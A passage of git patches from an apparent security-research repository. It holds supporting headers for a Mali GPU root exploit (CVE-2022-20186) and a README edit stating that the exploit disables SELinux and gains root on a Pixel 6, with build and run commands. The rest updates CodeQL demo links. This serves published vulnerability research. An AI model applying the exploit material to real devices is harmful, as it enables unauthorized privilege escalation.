@BASE_JD_EVENT_JOB_INVALID: raised for many reasons, including invalid data + * in the atom which overlaps with + * BASE_JD_EVENT_JOB_CONFIG_FAULT, or if the + * platform doesn't support the feature specified in + * the atom. + * @BASE_JD_EVENT_PM_EVENT: TODO: remove as it's not used + * @BASE_JD_EVENT_TIMED_OUT: TODO: remove as it's not used + * @BASE_JD_EVENT_BAG_INVALID: TODO: remove as it's not used + * @BASE_JD_EVENT_PROGRESS_REPORT: TODO: remove as it's not used + * @BASE_JD_EVENT_BAG_DONE: TODO: remove as it's not used + * @BASE_JD_EVENT_DRV_TERMINATED: this is a special event generated to indicate + * to userspace that the KBase context has been + * destroyed and Base should stop listening for + * further events + * @BASE_JD_EVENT_REMOVED_FROM_NEXT: raised when an atom that was configured in + * the GPU has to be retried (but it has not + * started) due to e.g., GPU reset + * @BASE_JD_EVENT_END_RP_DONE: this is used for incremental rendering to signal + * the completion of a renderpass. This value + * shouldn't be returned to userspace but I haven't + * seen where it is reset back to JD_EVENT_DONE. + * + * HW and low-level SW events are represented by event codes. + * The status of jobs which succeeded are also represented by + * an event code (see @BASE_JD_EVENT_DONE). + * Events are usually reported as part of a &struct base_jd_event. + * + * The event codes are encoded in the following way: + * * 10:0 - subtype + * * 12:11 - type + * * 13 - SW success (only valid if the SW bit is set) + * * 14 - SW event (HW event if not set) + * * 15 - Kernel event (should never be seen in userspace) + * + * Events are split up into ranges as follows: + * * BASE_JD_EVENT_RANGE__START + * * BASE_JD_EVENT_RANGE__END + * + * code is in 's range when: + * BASE_JD_EVENT_RANGE__START <= code < + * BASE_JD_EVENT_RANGE__END + * + * Ranges can be asserted for adjacency by testing that the END of the previous + * is equal to the START of the next. This is useful for optimizing some tests + * for range. + * + * A limitation is that the last member of this enum must explicitly be handled + * (with an assert-unreachable statement) in switch statements that use + * variables of this type. Otherwise, the compiler warns that we have not + * handled that enum value. + */ +enum base_jd_event_code { + /* HW defined exceptions */ + BASE_JD_EVENT_RANGE_HW_NONFAULT_START = 0, + + /* non-fatal exceptions */ + BASE_JD_EVENT_NOT_STARTED = 0x00, + BASE_JD_EVENT_DONE = 0x01, + BASE_JD_EVENT_STOPPED = 0x03, + BASE_JD_EVENT_TERMINATED = 0x04, + BASE_JD_EVENT_ACTIVE = 0x08, + + BASE_JD_EVENT_RANGE_HW_NONFAULT_END = 0x40, + BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START = 0x40, + + /* job exceptions */ + BASE_JD_EVENT_JOB_CONFIG_FAULT = 0x40, + BASE_JD_EVENT_JOB_POWER_FAULT = 0x41, + BASE_JD_EVENT_JOB_READ_FAULT = 0x42, + BASE_JD_EVENT_JOB_WRITE_FAULT = 0x43, + BASE_JD_EVENT_JOB_AFFINITY_FAULT = 0x44, + BASE_JD_EVENT_JOB_BUS_FAULT = 0x48, + BASE_JD_EVENT_INSTR_INVALID_PC = 0x50, + BASE_JD_EVENT_INSTR_INVALID_ENC = 0x51, + BASE_JD_EVENT_INSTR_TYPE_MISMATCH = 0x52, + BASE_JD_EVENT_INSTR_OPERAND_FAULT = 0x53, + BASE_JD_EVENT_INSTR_TLS_FAULT = 0x54, + BASE_JD_EVENT_INSTR_BARRIER_FAULT = 0x55, + BASE_JD_EVENT_INSTR_ALIGN_FAULT = 0x56, + BASE_JD_EVENT_DATA_INVALID_FAULT = 0x58, + BASE_JD_EVENT_TILE_RANGE_FAULT = 0x59, + BASE_JD_EVENT_STATE_FAULT = 0x5A, + BASE_JD_EVENT_OUT_OF_MEMORY = 0x60, + BASE_JD_EVENT_UNKNOWN = 0x7F, + + /* GPU exceptions */ + BASE_JD_EVENT_DELAYED_BUS_FAULT = 0x80, + BASE_JD_EVENT_SHAREABILITY_FAULT = 0x88, + + /* MMU exceptions */ + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1 = 0xC1, + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2 = 0xC2, + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3 = 0xC3, + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4 = 0xC4, + BASE_JD_EVENT_PERMISSION_FAULT = 0xC8, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1 = 0xD1, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2 = 0xD2, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3 = 0xD3, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4 = 0xD4, + BASE_JD_EVENT_ACCESS_FLAG = 0xD8, + + /* SW defined exceptions */ + BASE_JD_EVENT_MEM_GROWTH_FAILED = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x000, + BASE_JD_EVENT_TIMED_OUT = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x001, + BASE_JD_EVENT_JOB_CANCELLED = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x002, + BASE_JD_EVENT_JOB_INVALID = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x003, + BASE_JD_EVENT_PM_EVENT = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x004, + + BASE_JD_EVENT_BAG_INVALID = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_BAG | 0x003, + + BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_RESERVED | 0x3FF, + + BASE_JD_EVENT_RANGE_SW_SUCCESS_START = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | 0x000, + + BASE_JD_EVENT_PROGRESS_REPORT = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_JOB | 0x000, + BASE_JD_EVENT_BAG_DONE = BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_SUCCESS | + BASE_JD_SW_EVENT_BAG | 0x000, + BASE_JD_EVENT_DRV_TERMINATED = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_INFO | 0x000, + + BASE_JD_EVENT_RANGE_SW_SUCCESS_END = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_RESERVED | 0x3FF, + + BASE_JD_EVENT_RANGE_KERNEL_ONLY_START = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | 0x000, + BASE_JD_EVENT_REMOVED_FROM_NEXT = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x000, + BASE_JD_EVENT_END_RP_DONE = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x001, + + BASE_JD_EVENT_RANGE_KERNEL_ONLY_END = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_RESERVED | 0x3FF +}; + +/** + * struct base_jd_event_v2 - Event reporting structure + * + * @event_code: event code. + * @atom_number: the atom number that has completed. + * @udata: user data. + * + * This structure is used by the kernel driver to report information + * about GPU events. They can either be HW-specific events or low-level + * SW events, such as job-chain completion. + * + * The event code contains an event type field which can be extracted + * by ANDing with BASE_JD_SW_EVENT_TYPE_MASK. + */ +struct base_jd_event_v2 { + enum base_jd_event_code event_code; + base_atom_id atom_number; + struct base_jd_udata udata; +}; + +/** + * struct base_dump_cpu_gpu_counters - Structure for + * BASE_JD_REQ_SOFT_DUMP_CPU_GPU_COUNTERS + * jobs. + * @system_time: gpu timestamp + * @cycle_counter: gpu cycle count + * @sec: cpu time(sec) + * @usec: cpu time(usec) + * @padding: padding + * + * This structure is stored into the memory pointed to by the @jc field + * of &struct base_jd_atom. + * + * It must not occupy the same CPU cache line(s) as any neighboring data. + * This is to avoid cases where access to pages containing the structure + * is shared between cached and un-cached memory regions, which would + * cause memory corruption. + */ + +struct base_dump_cpu_gpu_counters { + __u64 system_time; + __u64 cycle_counter; + __u64 sec; + __u32 usec; + __u8 padding[36]; +}; + +#endif /* _UAPI_BASE_JM_KERNEL_H_ */ + diff --git a/SecurityExploits/Android/Mali/CVE_2022_20186/midgard.h b/SecurityExploits/Android/Mali/CVE_2022_20186/midgard.h new file mode 100644 index 0000000..e0ce432 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_20186/midgard.h @@ -0,0 +1,260 @@ +#ifndef MIDGARD_H +#define MIDGARD_H + +//Generated using pandecode-standalone: https://gitlab.freedesktop.org/panfrost/pandecode-standalone + +#include +#include +#include +#include +#include +#include +#include + +#define pan_section_ptr(base, A, S) \ + ((void *)((uint8_t *)(base) + MALI_ ## A ## _SECTION_ ## S ## _OFFSET)) + +#define pan_section_pack(dst, A, S, name) \ + for (MALI_ ## A ## _SECTION_ ## S ## _TYPE name = { MALI_ ## A ## _SECTION_ ## S ## _header }, \ + *_loop_terminate = (void *) (dst); \ + __builtin_expect(_loop_terminate != NULL, 1); \ + ({ MALI_ ## A ## _SECTION_ ## S ## _pack(pan_section_ptr(dst, A, S), &name); \ + _loop_terminate = NULL; })) + + +static inline uint64_t +__gen_uint(uint64_t v, uint32_t start, uint32_t end) +{ +#ifndef NDEBUG + const int width = end - start + 1; + if (width < 64) { + const uint64_t max = (1ull << width) - 1; + assert(v <= max); + } +#endif + + return v << start; +} + +static inline uint64_t +__gen_unpack_uint(const uint8_t *restrict cl, uint32_t start, uint32_t end) +{ + uint64_t val = 0; + const int width = end - start + 1; + const uint64_t mask = (width == 64 ? ~0 : (1ull << width) - 1 ); + + for (int byte = start / 8; byte <= end / 8; byte++) { + val |= ((uint64_t) cl[byte]) << ((byte - start / 8) * 8); + } + + return (val >> (start % 8)) & mask; +} + +enum mali_job_type { + MALI_JOB_TYPE_NOT_STARTED = 0, + MALI_JOB_TYPE_NULL = 1, + MALI_JOB_TYPE_WRITE_VALUE = 2, + MALI_JOB_TYPE_CACHE_FLUSH = 3, + MALI_JOB_TYPE_COMPUTE = 4, + MALI_JOB_TYPE_VERTEX = 5, + MALI_JOB_TYPE_GEOMETRY = 6, + MALI_JOB_TYPE_TILER = 7, + MALI_JOB_TYPE_FUSED = 8, + MALI_JOB_TYPE_FRAGMENT = 9, +}; + +enum mali_write_value_type { + MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER = 1, + MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP = 2, + MALI_WRITE_VALUE_TYPE_ZERO = 3, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_8 = 4, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_16 = 5, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_32 = 6, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_64 = 7, +}; + + +struct MALI_WRITE_VALUE_JOB_PAYLOAD { + uint64_t address; + enum mali_write_value_type type; + uint64_t immediate_value; +}; + +struct MALI_JOB_HEADER { + uint32_t exception_status; + uint32_t first_incomplete_task; + uint64_t fault_pointer; + bool is_64b; + enum mali_job_type type; + bool barrier; + bool invalidate_cache; + bool suppress_prefetch; + bool enable_texture_mapper; + bool relax_dependency_1; + bool relax_dependency_2; + uint32_t index; + uint32_t dependency_1; + uint32_t dependency_2; + uint64_t next; +}; + + +static inline void +MALI_JOB_HEADER_pack(uint32_t * restrict cl, + const struct MALI_JOB_HEADER * restrict values) +{ + cl[ 0] = __gen_uint(values->exception_status, 0, 31); + cl[ 1] = __gen_uint(values->first_incomplete_task, 0, 31); + cl[ 2] = __gen_uint(values->fault_pointer, 0, 63); + cl[ 3] = __gen_uint(values->fault_pointer, 0, 63) >> 32; + cl[ 4] = __gen_uint(values->is_64b, 0, 0) | + __gen_uint(values->type, 1, 7) | + __gen_uint(values->barrier, 8, 8) | + __gen_uint(values->invalidate_cache, 9, 9) | + __gen_uint(values->suppress_prefetch, 11, 11) | + __gen_uint(values->enable_texture_mapper, 12, 12) | + __gen_uint(values->relax_dependency_1, 14, 14) | + __gen_uint(values->relax_dependency_2, 15, 15) | + __gen_uint(values->index, 16, 31); + cl[ 5] = __gen_uint(values->dependency_1, 0, 15) | + __gen_uint(values->dependency_2, 16, 31); + cl[ 6] = __gen_uint(values->next, 0, 63); + cl[ 7] = __gen_uint(values->next, 0, 63) >> 32; +} + + +#define MALI_JOB_HEADER_LENGTH 32 +struct mali_job_header_packed { uint32_t opaque[8]; }; +static inline void +MALI_JOB_HEADER_unpack(const uint8_t * restrict cl, + struct MALI_JOB_HEADER * restrict values) +{ + if (((const uint32_t *) cl)[4] & 0x2400) fprintf(stderr, "XXX: Invalid field unpacked at word 4\n"); + values->exception_status = __gen_unpack_uint(cl, 0, 31); + values->first_incomplete_task = __gen_unpack_uint(cl, 32, 63); + values->fault_pointer = __gen_unpack_uint(cl, 64, 127); + values->is_64b = __gen_unpack_uint(cl, 128, 128); + values->type = __gen_unpack_uint(cl, 129, 135); + values->barrier = __gen_unpack_uint(cl, 136, 136); + values->invalidate_cache = __gen_unpack_uint(cl, 137, 137); + values->suppress_prefetch = __gen_unpack_uint(cl, 139, 139); + values->enable_texture_mapper = __gen_unpack_uint(cl, 140, 140); + values->relax_dependency_1 = __gen_unpack_uint(cl, 142, 142); + values->relax_dependency_2 = __gen_unpack_uint(cl, 143, 143); + values->index = __gen_unpack_uint(cl, 144, 159); + values->dependency_1 = __gen_unpack_uint(cl, 160, 175); + values->dependency_2 = __gen_unpack_uint(cl, 176, 191); + values->next = __gen_unpack_uint(cl, 192, 255); +} + +static inline const char * +mali_job_type_as_str(enum mali_job_type imm) +{ + switch (imm) { + case MALI_JOB_TYPE_NOT_STARTED: return "Not started"; + case MALI_JOB_TYPE_NULL: return "Null"; + case MALI_JOB_TYPE_WRITE_VALUE: return "Write value"; + case MALI_JOB_TYPE_CACHE_FLUSH: return "Cache flush"; + case MALI_JOB_TYPE_COMPUTE: return "Compute"; + case MALI_JOB_TYPE_VERTEX: return "Vertex"; + case MALI_JOB_TYPE_GEOMETRY: return "Geometry"; + case MALI_JOB_TYPE_TILER: return "Tiler"; + case MALI_JOB_TYPE_FUSED: return "Fused"; + case MALI_JOB_TYPE_FRAGMENT: return "Fragment"; + default: return "XXX: INVALID"; + } +} + +static inline void +MALI_JOB_HEADER_print(FILE *fp, const struct MALI_JOB_HEADER * values, unsigned indent) +{ + fprintf(fp, "%*sException Status: %u\n", indent, "", values->exception_status); + fprintf(fp, "%*sFirst Incomplete Task: %u\n", indent, "", values->first_incomplete_task); + fprintf(fp, "%*sFault Pointer: 0x%" PRIx64 "\n", indent, "", values->fault_pointer); + fprintf(fp, "%*sIs 64b: %s\n", indent, "", values->is_64b ? "true" : "false"); + fprintf(fp, "%*sType: %s\n", indent, "", mali_job_type_as_str(values->type)); + fprintf(fp, "%*sBarrier: %s\n", indent, "", values->barrier ? "true" : "false"); + fprintf(fp, "%*sInvalidate Cache: %s\n", indent, "", values->invalidate_cache ? "true" : "false"); + fprintf(fp, "%*sSuppress Prefetch: %s\n", indent, "", values->suppress_prefetch ? "true" : "false"); + fprintf(fp, "%*sEnable Texture Mapper: %s\n", indent, "", values->enable_texture_mapper ? "true" : "false"); + fprintf(fp, "%*sRelax Dependency 1: %s\n", indent, "", values->relax_dependency_1 ? "true" : "false"); + fprintf(fp, "%*sRelax Dependency 2: %s\n", indent, "", values->relax_dependency_2 ? "true" : "false"); + fprintf(fp, "%*sIndex: %u\n", indent, "", values->index); + fprintf(fp, "%*sDependency 1: %u\n", indent, "", values->dependency_1); + fprintf(fp, "%*sDependency 2: %u\n", indent, "", values->dependency_2); + fprintf(fp, "%*sNext: 0x%" PRIx64 "\n", indent, "", values->next); +} + +static inline void +MALI_WRITE_VALUE_JOB_PAYLOAD_pack(uint32_t * restrict cl, + const struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values) +{ + cl[ 0] = __gen_uint(values->address, 0, 63); + cl[ 1] = __gen_uint(values->address, 0, 63) >> 32; + cl[ 2] = __gen_uint(values->type, 0, 31); + cl[ 3] = 0; + cl[ 4] = __gen_uint(values->immediate_value, 0, 63); + cl[ 5] = __gen_uint(values->immediate_value, 0, 63) >> 32; +} + + +#define MALI_WRITE_VALUE_JOB_PAYLOAD_LENGTH 24 +#define MALI_WRITE_VALUE_JOB_PAYLOAD_header 0 + + +struct mali_write_value_job_payload_packed { uint32_t opaque[6]; }; +static inline void +MALI_WRITE_VALUE_JOB_PAYLOAD_unpack(const uint8_t * restrict cl, + struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values) +{ + if (((const uint32_t *) cl)[3] & 0xffffffff) fprintf(stderr, "XXX: Invalid field unpacked at word 3\n"); + values->address = __gen_unpack_uint(cl, 0, 63); + values->type = __gen_unpack_uint(cl, 64, 95); + values->immediate_value = __gen_unpack_uint(cl, 128, 191); +} + +static inline const char * +mali_write_value_type_as_str(enum mali_write_value_type imm) +{ + switch (imm) { + case MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER: return "Cycle Counter"; + case MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP: return "System Timestamp"; + case MALI_WRITE_VALUE_TYPE_ZERO: return "Zero"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_8: return "Immediate 8"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_16: return "Immediate 16"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_32: return "Immediate 32"; + case MALI_WRITE_VALUE_TYPE_IMMEDIATE_64: return "Immediate 64"; + default: return "XXX: INVALID"; + } +} + +static inline void +MALI_WRITE_VALUE_JOB_PAYLOAD_print(FILE *fp, const struct MALI_WRITE_VALUE_JOB_PAYLOAD * values, unsigned indent) +{ + fprintf(fp, "%*sAddress: 0x%" PRIx64 "\n", indent, "", values->address); + fprintf(fp, "%*sType: %s\n", indent, "", mali_write_value_type_as_str(values->type)); + fprintf(fp, "%*sImmediate Value: 0x%" PRIx64 "\n", indent, "", values->immediate_value); +} + +struct mali_write_value_job_packed { + uint32_t opaque[14]; +}; + +#define MALI_JOB_HEADER_header \ + .is_64b = true + +#define MALI_WRITE_VALUE_JOB_LENGTH 56 +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_TYPE struct MALI_JOB_HEADER +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_header MALI_JOB_HEADER_header +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_pack MALI_JOB_HEADER_pack +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_unpack MALI_JOB_HEADER_unpack +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_print MALI_JOB_HEADER_print +#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_OFFSET 0 +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_TYPE struct MALI_WRITE_VALUE_JOB_PAYLOAD +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_header MALI_WRITE_VALUE_JOB_PAYLOAD_header +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_pack MALI_WRITE_VALUE_JOB_PAYLOAD_pack +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_unpack MALI_WRITE_VALUE_JOB_PAYLOAD_unpack +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_print MALI_WRITE_VALUE_JOB_PAYLOAD_print +#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_OFFSET 32 + +#endif From a5c9805a9205d9b4adc0e3479370dcec172b238d Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Wed, 27 Jul 2022 16:36:50 +0100 Subject: [PATCH 087/140] Update SecurityExploits/Android/Mali/CVE_2022_20186/README.md Co-authored-by: Xavier RENE-CORAIL --- SecurityExploits/Android/Mali/CVE_2022_20186/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Android/Mali/CVE_2022_20186/README.md b/SecurityExploits/Android/Mali/CVE_2022_20186/README.md index ed6098b..d2194ce 100644 --- a/SecurityExploits/Android/Mali/CVE_2022_20186/README.md +++ b/SecurityExploits/Android/Mali/CVE_2022_20186/README.md @@ -8,7 +8,7 @@ The exploit is tested on the Google Pixel 6 and supports patch levels from Novme android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias ``` -The exploit rarely fails and can be retry without crashing the device. If successful, it should disable SELinux and gain root. +The exploit rarely fails and can be retried without crashing the device. If successful, it should disable SELinux and gain root. ``` oriole:/ $ /data/local/tmp/mali_alias From 506c77af47c5ded40833ee4582aee670005656b1 Mon Sep 17 00:00:00 2001 From: Bas Alberts <13686387+anticomputer@users.noreply.github.com> Date: Mon, 7 Nov 2022 16:51:41 -0500 Subject: [PATCH 088/140] Create verifications.html Mastodon account verifications to serve out of raw. --- mastodon/verifications.html | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 mastodon/verifications.html diff --git a/mastodon/verifications.html b/mastodon/verifications.html new file mode 100644 index 0000000..0bddc0e --- /dev/null +++ b/mastodon/verifications.html @@ -0,0 +1,4 @@ + + GitHub Security on Mastodon + GitHub Security Lab on Mastodon + From d1cca5ac93804174a87f8d0c4ad718fd6b2a855f Mon Sep 17 00:00:00 2001 From: Joseph Katsioloudes Date: Tue, 29 Nov 2022 22:42:13 +0000 Subject: [PATCH 089/140] replaces databases, blog URLs and removes lgtm --- .../ChakraCore-bad-overflow-check/README.md | 4 +-- .../cpp/Facebook_Fizz_CVE-2019-3560/README.md | 2 +- .../cpp/Qualcomm-MSM-copy_from_user/README.md | 4 +-- .../cpp/XNU_DTrace_CVE-2017-13782/README.md | 4 +-- .../README.md | 4 +-- .../00_mbuf_copydata_tainted_size.ql | 2 +- .../XNU_icmp_error_CVE-2018-4407/README.md | 4 +-- .../README.md | 6 ++-- .../cpp/libjpeg-turbo-oob/README.md | 4 +-- .../cpp/libssh2_eating_error_codes/README.md | 4 +-- .../cpp/rsyslog_CVE-2018-1000140/README.md | 6 ++-- .../Video/rsyslog.srt | 2 +- CodeQL_Queries/csharp/ZipSlip/README.md | 33 ++++++++++++++----- .../Apache_Struts_CVE-2017-9805/README.md | 4 +-- .../Apache_Struts_CVE-2018-11776/README.md | 4 +-- .../06_DataFlow_With_Sanitizer.ql | 5 +-- .../Etherpad_CVE-2018-6835/README.md | 6 ++-- .../alternative/README.md | 8 ++--- .../DTrace/CVE-2017-13782/README.md | 2 +- .../CVE-2017-13782/cve-2017-13782-poc.c | 2 +- .../icmp_error_CVE-2018-4407/README.md | 2 +- .../nfs_vfsops_CVE-2018-4259/README.md | 2 +- .../packet_mangler_CVE-2017-13904/README.md | 2 +- .../README.md | 2 +- 24 files changed, 65 insertions(+), 53 deletions(-) diff --git a/CodeQL_Queries/cpp/ChakraCore-bad-overflow-check/README.md b/CodeQL_Queries/cpp/ChakraCore-bad-overflow-check/README.md index 8097be5..75f634d 100644 --- a/CodeQL_Queries/cpp/ChakraCore-bad-overflow-check/README.md +++ b/CodeQL_Queries/cpp/ChakraCore-bad-overflow-check/README.md @@ -1,3 +1 @@ -Use [this snapshot](https://downloads.lgtm.com/snapshots/cpp/microsoft/chakracore/ChakraCore-revision-2017-April-12--18-13-26.zip) - -We now also have this query in our default suite: https://lgtm.com/rules/2156560627/ +Use [this snapshot](https://github.com/github/securitylab/releases/download/chakracore-codeql-database/ChakraCore-revision-2017-April-12--18-13-26.zip) diff --git a/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md b/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md index e08808d..6790efd 100644 --- a/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md +++ b/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md @@ -1,5 +1,5 @@ # Facebook Fizz integer overflow vulnerability (CVE-2019-3560) -Use [this snapshot](https://downloads.lgtm.com/snapshots/cpp/facebook/fizz/facebookincubator_fizz_cpp-srcVersion_c69ad1baf3f04620393ebadc3eedd130b74f4023-dist_odasa-lgtm-2019-01-13-f9dca2a-universal.zip) for the demo. +Use [this snapshot](https://github.com/github/securitylab/releases/download/facebook-codeql-database/facebookincubator_fizz_cpp-srcVersion_c69ad1baf3f04620393ebadc3eedd130b74f4023-dist_odasa-lgtm-2019-01-13-f9dca2a-universal.zip) for the demo. [Fizz](https://github.com/facebookincubator/fizz) contained a remotely triggerable infinite loop. For more details about the bug, see this [blog post](https://securitylab.github.com/research/facebook-fizz-CVE-2019-3560). A proof-of-concept exploit is available [here](https://github.com/github/securitylab/tree/95c0bcc670f3b3d98a4d578f8993f8138092b94f/SecurityExploits/Facebook/Fizz/CVE-2019-3560). diff --git a/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md b/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md index 545706d..9955967 100644 --- a/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md +++ b/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md @@ -1,5 +1,5 @@ -[Blog post](https://lgtm.com/blog/qualcomm_copy_from_user) +[Blog post](https://github.blog/category/security/stack-buffer-overflow-qualcomm-msm/) -[Snapshot for this demo](https://downloads.lgtm.com/snapshots/cpp/qualcomm/msm/msm-4.4-revision-2017-May-07--08-33-56.zip) +[Snapshot for this demo](https://github.com/github/securitylab/releases/download/qualcomm-msm-codeql-database/msm-4.4-revision-2017-May-07--08-33-56.zip) The blog post was written before we had the C++ dataflow library, so these demo queries are a bit different than the blog post. diff --git a/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md b/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md index b9f2ed7..fe8c552 100644 --- a/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md +++ b/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md @@ -1,5 +1,5 @@ -[Blog post](https://lgtm.com/blog/apple_xnu_dtrace_CVE-2017-13782) +[Blog post](https://github.blog/category/security/apple-xnu-dtrace-CVE-2017-13782/) Bug was fixed in [macOS High Sierra 10.13.1](https://support.apple.com/en-us/HT208221). -[This snapshot](https://downloads.lgtm.com/snapshots/cpp/apple/xnu/XNU-revision-2017-June-13--15-52-38.zip) (macOS 10.13) has the bug. +[This snapshot](https://github.com/github/securitylab/releases/download/xnu-codeql-database/XNU-revision-2017-June-13--15-52-38.zip) (macOS 10.13) has the bug. diff --git a/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md b/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md index 7ca34fd..c0151de 100644 --- a/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md +++ b/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md @@ -1,5 +1,5 @@ -[Blog post](https://lgtm.com/blog/apple_xnu_nfs_boot_CVE-2018-4136_CVE-2018-4160) +[Blog post](https://github.blog/category/security/apple-xnu-nfs-boot/) Bug was fixed in [macOS High Sierra 10.13.4](https://support.apple.com/en-gb/HT208692). -[This snapshot](https://downloads.lgtm.com/snapshots/cpp/apple/xnu/xnu-4570.41.2_macOS-10.13.3_Semmle-1.16.1.zip) has the bug. +[This snapshot](https://github.com/github/securitylab/releases/download/xnu-macos10.13.3-codeql-database/xnu-4570.41.2_macOS-10.13.3_Semmle-1.16.1.zip) has the bug. diff --git a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql index b34679d..29ecd05 100644 --- a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql +++ b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql @@ -10,7 +10,7 @@ /* * This query is explained in detail in this blog post: * - * https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407 + * https://github.blog/category/security/apple-xnu-icmp-error-CVE-2018-4407/ * * It is based on the assumption that the function `m_mtod`, which returns * a pointer to the data stored in an `mbuf`, often returns a buffer diff --git a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md index cae2e9c..9ec2dfe 100644 --- a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md +++ b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md @@ -1,5 +1,5 @@ # Apple XNU icmp_error CVE-2018-4407 -Use [this snapshot](https://downloads.lgtm.com/snapshots/cpp/apple/xnu/xnu-4570.71.2_macOS-10.13.6_Semmle-1.18.0.zip) for the demo. +Use [this snapshot](https://github.com/github/securitylab/releases/download/xnu-macos10.13.6-codeql-database/xnu-4570.71.2_macOS-10.13.6_Semmle-1.18.0.zip) for the demo. -There are two parts to this demo. The first part is `00_mbuf_copydata_tainted_size.ql`, which is the dataflow query that found the bug. It is explained in detail in [this blog post](https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407). The problem with this query is that it does not find the true source of the untrusted data. This is because it assumes that any call to the function named `m_mtod` can return untrusted data. But not every `mbuf` contains untrusted data. So the second part of the demo, corresponding to [this blog post](https://lgtm.com/blog/apple_xnu_icmp_nfs_pocs), is to use dataflow analysis to find a path that gets an untrusted `mbuf` into `icmp_error`. The second part 